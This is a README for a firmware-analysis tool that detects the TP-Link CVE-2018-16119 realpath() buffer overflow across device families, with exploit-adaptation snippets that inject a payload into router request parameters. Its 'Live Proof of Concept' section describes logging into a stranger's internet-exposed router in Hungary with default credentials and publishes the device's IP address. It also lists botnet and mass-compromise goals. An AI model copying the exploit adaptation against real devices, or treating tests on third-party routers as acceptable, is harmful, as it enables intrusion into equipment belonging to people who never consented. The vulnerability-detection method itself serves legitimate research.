Escalating TP-Link Firmware Vulnerabilities

Overview

This research tool automates the discovery of vulnerability patterns across multiple TP-Link firmware versions. Originally designed to identify and scale the impact of CVE-2018-16119 (Authenticated Remote Code Execution), this framework can be adapted to detect various vulnerability patterns in IoT firmware from different vendors.

Key Features

• Automated Binary Extraction: Extract httpd binaries from firmware images using Binwalk
• Pattern Recognition: Use custom Ghidra scripts to identify vulnerability patterns
• Scalable Analysis: Process multiple firmware versions simultaneously
• Visual Reports: Generate PDF reports with function call graphs
• Cross-Device Impact Assessment: Determine vulnerability spread across device families

Architecture

┌─────────────────┐    ┌──────────────────┐    ┌─────────────────┐
│   Firmware      │───▶│  httpd_extractor │───▶│ HTTPD_Binaries  │
│   Collection    │    │      .py         │    │   Folder        │
└─────────────────┘    └──────────────────┘    └─────────────────┘
                                                         │
                                                         ▼
┌─────────────────┐    ┌──────────────────┐    ┌─────────────────┐
│ Analysis_Results│◀───│   analyzer.py    │◀───│ Ghidra Scripts  │
│   (PDF Reports) │    │                  │    │   & Patterns    │
└─────────────────┘    └──────────────────┘    └─────────────────┘

Quick Start

Prerequisites

• Ghidra (version 9.0.4 or higher)
• Python 3.x
• Binwalk
• TP-Link firmware images (.bin files)

Installation

1. Clone the repository:

git clone https://github.com/hdbreaker/Escalating-TPLinkFirmware-Vulnerabilities
cd Escalating-TPLinkFirmware-Vulnerabilities

2. Install dependencies:

pip install -r requirements.txt

3. Place firmware files in the Firmwares/ directory

Usage

1. Extract HTTPD binaries from firmware images:

python httpd_extractor.py

2. Analyze binaries for vulnerability patterns:

python analyzer.py

3. Review results in the Analysis_Results/ folder

The Vulnerability: CVE-2018-16119

Technical Details

The vulnerability exists in the NAS functionality of TP-Link’s HTTPD binary, specifically in the chkAbsPath function’s handling of user-controlled parameters.

Figure 1: Vulnerability pattern identification workflow

Vulnerability Flow

1. Parameter Reception: User-controlled parameter shareEntire is received

   Figure 2: User parameter extraction in the vulnerable code

2. Buffer Allocation: Function chkAbsPath creates fixed buffer acStack272 (260 bytes)

3. Unsafe Operation: Parameter passed to realpath() without length validation

   Figure 3: Unsafe realpath() call leading to buffer overflow

Root Cause

The realpath() function documentation specifies no return value size control. Combined with the lack of input validation for the shareEntire parameter, this creates a buffer overflow condition when the input exceeds the 260-byte buffer size.

Affected Devices

Through automated analysis, the following TP-Link devices were confirmed vulnerable:

Internet Exposure

Using Zoomeye.org, approximately 106,966 vulnerable devices were identified as exposed to the internet, highlighting the critical nature of this vulnerability.

Research Methodology

Pattern Detection Strategy

The vulnerability can be identified by detecting this specific pattern:

IF (function chkAbsPath exists) AND
   (contains call to realpath()) AND
   (no input length validation)
THEN vulnerability_probability = 90%

This pattern-based approach leverages the fact that vendors often reuse firmware code across device families, making vulnerability propagation highly probable.

Live Proof of Concept

Target Discovery

During research, a live vulnerable device was discovered in Hungary:

• IP: http://178.164.131.28:100
• Credentials: admin:admin (default)
• Model: TP-Link Archer C7 v2

Figure 4: Default credentials access on Hungarian router

Vulnerability Confirmation

The vulnerable firmware version was confirmed to match the analyzed patterns:

Figure 5: Vulnerability confirmation in Archer C7v2 firmware

Parameter Identification

The vulnerable parameter was identified as shareFolderName:

Figure 6: Vulnerable parameter identification (line 254 → line 274)

NAS Functionality

Figure 7: NAS functionality enabled on target device

Figure 8: Creating a shared folder to trigger vulnerability

HTTP Request Analysis

Figure 9: HTTP request containing vulnerable parameter

Exploit Adaptation

Library Compatibility

Both target devices share the same libuClibc-0.9.30.so library, which allows ROP gadget reuse between devices, significantly simplifying exploit development.

URL Modification

Original exploit URL (WR1043ND):

bof_url = base_url+"/"+session_id+"/userRpm/MediaServerFoldersCfgRpm.htm?displayName=bof&shareEntire="+payload+"&no_use_para_just_fix_ie_sub_bug=&Save=Save"

Modified URL (Archer C7v2):

bof_url = base_url+"/"+session_id+"/userRpm/NasFolderSharingRpm.htm?displayName=bof&mediaShare=on&shareFolderName="+payload+"&Save=Save&selPage=0&Page=1&subpage=2&no_use_para_just_fix_ie_sub_bug="

Header Adaptation

Original headers:

headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Referer": "http://192.168.0.1/",
    "Cookie": "Authorization="+cookie_auth_string,
    "Authorization": "Basic "+basic_string,
    "Connection": "close",
    "Upgrade-Insecure-Requests": "1"
}

Adapted headers:

headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
    "Accept-Language": "en-US,en;q=0.9,es;q=0.8",
    "Referer": "http://178.164.131.28:100/",
    "Accept-Encoding": "gzip, deflate",
    "Cookie": "Authorization="+cookie_auth_string,
    "Connection": "close",
    "Upgrade-Insecure-Requests": "1"
}

Project Structure

├── analyzer.py                 # Main analysis script
├── httpd_extractor.py         # Binary extraction utility
├── Firmwares/                 # Input firmware images
├── HTTPD_Binaries/           # Extracted HTTPD binaries
├── Ghidra_Scripts/           # Custom vulnerability detection scripts
│   └── FindTPLinkRealPathOverflow.py
├── Analysis_Results/         # Generated PDF reports
├── exploit/                  # Proof of concept exploits
└── Resources/               # Documentation assets
    ├── github_imgs/         # Technical diagrams
    └── InternetVictimHungary_PoC/  # Live PoC evidence

Future Research Directions

Objectives

1. Unauthenticated RCE Discovery: Find zero-authentication remote code execution vulnerabilities
2. Cross-Vendor Analysis: Extend methodology to other IoT manufacturers
3. Automated Exploitation: Develop autonomous exploit generation
4. Botnet Potential Assessment: Evaluate large-scale compromise feasibility

Impact Scenarios

• Home Network Infiltration: Pivot from internet to internal networks
• Corporate Network Compromise: Lateral movement through enterprise infrastructure
• IoT Botnet Creation: Mass device compromise for distributed attacks

Responsible Disclosure

This research follows responsible disclosure practices:

• ✅ Vulnerability reported to TP-Link
• ✅ CVE assigned: CVE-2018-16119
• ✅ Patches released by vendor
• ✅ Research published for defensive purposes

Technical Implementation Details

Ghidra Script: FindTPLinkRealPathOverflow.py

The automated detection relies on this pattern recognition:

def detect_vulnerability_pattern(binary_path):
    """
    Detect CVE-2018-16119 pattern in HTTPD binary
    """
    vulnerability_score = 0

    # Check for chkAbsPath function existence
    if has_function(binary_path, "chkAbsPath"):
        vulnerability_score += 30

    # Check for realpath() call
    if has_realpath_call(binary_path):
        vulnerability_score += 40

    # Check for lack of input validation
    if not has_input_validation(binary_path):
        vulnerability_score += 30

    return vulnerability_score >= 90  # 90% confidence threshold

Binary Extraction Process

# httpd_extractor.py workflow
1. Extract firmware using Binwalk
2. Locate httpd binary in filesystem
3. Copy to HTTPD_Binaries/ for analysis
4. Generate metadata for tracking

Analysis Output

The framework generates:

• PDF reports with vulnerability details
• Function call graphs showing code flow
• Cross-reference tables for affected devices
• Exploit adaptation guides for security testing

Additional Resources

• CVE Details: CVE-2018-16119
• GitHub Repository: Escalating-TPLinkFirmware-Vulnerabilities
• Ghidra Documentation: Official Ghidra Docs

Legal Disclaimer

This research is provided for educational and defensive security purposes only. Users are responsible for ensuring compliance with applicable laws and regulations. The authors assume no liability for misuse of this information.

Research by: Alejandro Parodi (hdbreaker)
Repository: GitHub - Escalating TP-Link Firmware Vulnerabilities

This work demonstrates the critical importance of secure coding practices in IoT firmware development and the need for comprehensive security testing across device families.